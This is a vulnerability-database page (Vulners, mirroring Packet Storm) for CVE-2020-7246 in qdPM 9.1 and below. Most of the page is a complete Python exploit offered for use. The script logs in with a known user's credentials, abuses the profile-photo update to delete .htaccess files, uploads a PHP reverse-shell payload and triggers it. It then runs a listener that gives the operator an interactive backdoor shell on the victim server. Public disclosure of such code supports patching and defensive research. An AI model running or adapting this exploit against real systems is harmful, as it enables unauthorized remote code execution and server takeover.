Lucene search
K

qdPM Remote Code Execution

🗓️ 28 Feb 2020 00:00:00Reported by Tobin ShieldsType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 127 Views

qdPM Webshell Upload + RCE Exploit (CVE-2020-7246) enables automatic PHP web shell upload and code execution on qdPMv9.1 and below versions via the "upload a profile photo" feature, bypassing the previous fix. Requires user credentials and a PHP web shell payload

Related
Code
ReporterTitlePublishedViews
Family
0day.today
qdPM 9.1 - Remote Code Execution Exploit
23 Jan 202000:00
zdt
0day.today
qdPM < 9.1 - Remote Code Execution Exploit
29 Feb 202000:00
zdt
0day.today
qdPM 9.1 - Remote Code Execution (Authenticated) Exploit
4 Aug 202100:00
zdt
0day.today
qdPM 9.1 - Remote Code Execution (Authenticated) Exploit
26 May 202200:00
zdt
0day.today
qdPM 9.1 Authenticated Shell Upload Exploit
29 Sep 202200:00
zdt
ATTACKERKB
CVE-2020-7246
21 Jan 202000:00
attackerkb
Circl
CVE-2020-7246
21 Jan 202017:37
circl
Check Point Advisories
qdPM Remote Code Execution (CVE-2020-7246)
25 Mar 202000:00
checkpoint_advisories
CVE
CVE-2020-7246
21 Jan 202013:02
cve
Cvelist
CVE-2020-7246
21 Jan 202013:02
cvelist
Rows per page
`#!/usr/bin/python  
  
#-------------------------------------------------------------------------------------  
# Title: qdPM Webshell Upload + RCE Exploit (qdPMv9.1 and below) (CVE-2020-7246)  
# Author: Tobin Shields (@TobinShields)  
#  
# Description: This is an exploit to automatically upload a PHP web shell to  
# the qdPM platform via the "upload a profile photo" feature.  
# This method also bypasses the fix put into place from a previous CVE  
#  
# Usage: In order to leverage this exploit, you must know the credentials of  
# at least one user. Then, you should modify the values highlighted below.  
# You will also need a .php web shell payload to upload. This exploit  
# was built and tested using the PHP script built by pentestmonkey:  
# https://github.com/pentestmonkey/php-reverse-shell  
#-------------------------------------------------------------------------------------  
  
# Imports  
from requests import Session  
from bs4 import BeautifulSoup as bs  
import socket  
from multiprocessing import Process  
import time  
  
# CHANGE THESE VALUES-----------------------------------------------------------------  
login_url = "http://[victim_domain]/path/to/qdPM/index.php/login"  
username = "[email protected]"  
password = "Pa$$w0rd"  
payload = "/path/to/payload.php"  
listner_port = 1234 # This should match your PHP payload  
connection_delay = 2 # Increase this value if you have a slow connection and are experiencing issues  
# ------------------------------------------------------------------------------------  
  
# Build the myAccout URL from the provided URL  
myAccount_url = login_url.replace("login", "myAccount")  
  
# PROGRAM FUNCTIONS -----------------------------------------------------------------  
# Utility function for anytime a page needs to be requested and parsed via bs4  
def requestAndSoupify(url):  
page = s.get(url)  
soup = bs(page.content, "html.parser")  
return soup  
  
# Function to log into the application, and supply the correct username/password  
def login(url):  
# Soupify the login page  
login_page = requestAndSoupify(url)  
# Grab the csrf token  
token = login_page.find("input", {"name": "login[_csrf_token]"})["value"]  
# Build the POST values  
login_data = {  
"login[email]": username,  
"login[password]": password,  
"login[_csrf_token]": token  
}  
# Send the login request  
s.post(login_url, login_data)  
  
# Function to get the base values for making a POST request from the myAccount page  
def getPOSTValues():  
myAccount_soup = requestAndSoupify(myAccount_url)  
# Search for the 'base' POST data needed for any requests  
u_id = myAccount_soup.find("input", {"name": "users[id]"})["value"]  
token = myAccount_soup.find("input", {"name": "users[_csrf_token]"})["value"]  
u_name = myAccount_soup.find("input", {"name": "users[name]"})["value"]  
u_email = myAccount_soup.find("input", {"name": "users[email]"})["value"]  
# Populate the POST data object  
post_data = {  
"users[id]": u_id,  
"users[_csrf_token]": token,  
"users[name]": u_name,  
"users[email]": u_email,  
"users[culture]": "en" # Keep the language English--change this for your victim locale  
}  
return post_data  
  
# Function to remove the a file from the server by exploiting the CVE  
def removeFile(file_to_remove):  
# Get base POST data  
post_data = getPOSTValues()  
# Add the POST data to remove a file  
post_data["users[photo_preview]"] = file_to_remove  
post_data["users[remove_photo]"] = 1  
# Send the POST request to the /update page  
s.post(myAccount_url + "/update", post_data)  
# Print update to user  
print("Removing " + file_to_remove)  
# Sleep to account for slow connections  
time.sleep(connection_delay)  
  
# Function to upload the payload to the server  
def uploadPayload(payload):  
# Get payload name from supplied URI  
payload_name = payload.rsplit('/', 1)[1]  
# Request page and get base POST files  
post_data = getPOSTValues()  
# Build correct payload POST header by dumping the contents  
payload_file = {"users[photo]": open(payload, 'rb')}  
# Send POST request with base data + file  
s.post(myAccount_url + "/update", post_data, files=payload_file)  
# Print update to user  
print("Uploading " + payload_name)  
# Sleep for slow connections  
time.sleep(connection_delay)  
  
# A Function to find the name of the newly uploaded payload  
# NOTE: We have to do this because qdPM adds a random number to the uploaded file  
# EX: webshell.php becomes 1584009-webshell.php  
def getPayloadURL():  
myAccount_soup = requestAndSoupify(myAccount_url)  
payloadURL = myAccount_soup.find("img", {"class": "user-photo"})["src"]  
return payloadURL  
  
# Function to handle creating the webshell listener and issue commands to the victim  
def createBackdoorListener():  
# Set up the listening socket on localhost  
server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
host = "0.0.0.0"  
port = listner_port # Specified at the start of this script by user  
server_socket.bind((host, port))  
server_socket.listen(2)  
victim, address = server_socket.accept()  
# Print update to user once the connection is made  
print("Received connection from: " + str(address))  
  
# Simulate a terminal and build a pusdo-prompt using the victem IP  
prompt = "backdoor@" + str(address[0]) + ":~$ "  
  
# Grab the first response from the victim--this is usually OS info  
response = victim.recv(1024).decode('utf-8')  
print(response)  
print("\nType 'exit' at any time to close the connection")  
  
# Maintain the connection and send data back and forth  
while True:  
# Grab the command from the user  
command = input(prompt)  
# If they type "exit" then close the socket  
if 'exit' in command:  
victim.close()  
server_socket.close()  
print("Disconnecting, please wait...")  
break  
# For all other commands provided  
else:  
# Encode the command to be properly sent via the socket & send the command  
command = str.encode(command + "\n")  
victim.send(command)  
# Grab the response to the command and decode it  
response = victim.recv(1024).decode('utf-8')  
# For some odd reason you have to hit "enter" after sending the command to receive the output  
# TODO: Fix this so it works on a single send? Although it might just be the PHP webshell  
victim.send(str.encode("\n"))  
response = victim.recv(1024).decode('utf-8')  
# If a command returns nothing (i.e. a 'cd' command, it prints a "$"  
# This is a confusing output so it will omit this output  
if response.strip() != "$":  
print(response)  
  
# Trigger the PHP to run by making a page request  
def triggerShell(s, payloadURL):  
pageReq = s.get(payloadURL)  
  
# MAIN FUNCTION ----------------------------------------------------------------------  
# The main function of this program establishes a unique session to issue the various POST requests  
with Session() as s:  
# Login as know user  
login(login_url)  
# Remove Files  
# You may need to modify this list if you suspect that there are more .htaccess files  
# However, the default qdPM installation just had these two  
files_to_remove = [".htaccess", "../.htaccess"]  
for f in files_to_remove:  
removeFile(f)  
# Upload payload  
uploadPayload(payload)  
# Get the payload URL  
payloadURL = getPayloadURL()  
# Start a thread to trigger the script with a web request  
process = Process(target=triggerShell, args=(s, payloadURL))  
process.start()  
# Create the backdoor listener and wait for the above request to trigger  
createBackdoorListener()  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

28 Feb 2020 00:00Current
8.7High risk
Vulners AI Score8.7
EPSS0.90442
127